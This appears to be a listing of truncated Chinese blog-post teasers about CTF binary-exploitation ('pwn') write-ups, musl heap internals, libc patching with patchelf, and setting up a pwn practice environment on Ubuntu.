  • DASCTF X GFCTF 2022十月挑战赛 pwn wp
    目录1r()p21!5!3magic_book随便做了下。1r()p利用如下几个gadgets构造即可:#控制rax后任意地址写.text:000000000040115Amovrsi,rax......
  • 1.2.2 musl pwn
    1.2.2muslpwn几个结构__malloc_context(与glibc中的main_arena类似)structmalloc_context{uint64_tsecret;#ifndefPAGESIZEsize_tpagesize;#endif......
  • [BUUCTF]Pwn刷题记录
    本部分内容长期更新,不再创建新文章影响阅读rip根据IDA加载入main函数声明发现s数组距离rbp的距离为F,即为15,这里的运行环境是64位,所以应当将Caller'srbp的数据填满,在这里......
  • 利用 patchelf 修改 pwn 题目的 libc
    pwn有时候真的太玄学了(我太菜了),有时候因为环境问题导致一道题很难调试成功,跟wp上的差很多,有时候调试几天也不知道怎么回事,换个环境突然就好了。特别是到堆的时候,搞了好几......
  • 带有pwn环境的Ubuntu22.04快速安装
    pwn环境ubuntu22.04快速安装(有克隆vmk)ubuntu更新到了22.04版本,经过本人测试后非常的好(ma)用(fan),该版本和mac很相像,而且用起来也比较丝滑,只不过配置上稍微有一些多,也比较繁琐......
  • BUUCTF-PWN-第一页writep(32题)
    温故而知新,可以为师矣。所以花了几天时间重新做了下buuctf的pwn题,先发下第一页共32题的题解。还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单......
  • pwn题工具整理
    目录语言汇编C语言指针数据类型文件缓冲区和流操作系统编译链接加载运行保护机制格式化字符串漏洞printf函数族x86和x64使程序崩溃读取栈上数据任意地址读取任意地址写工具......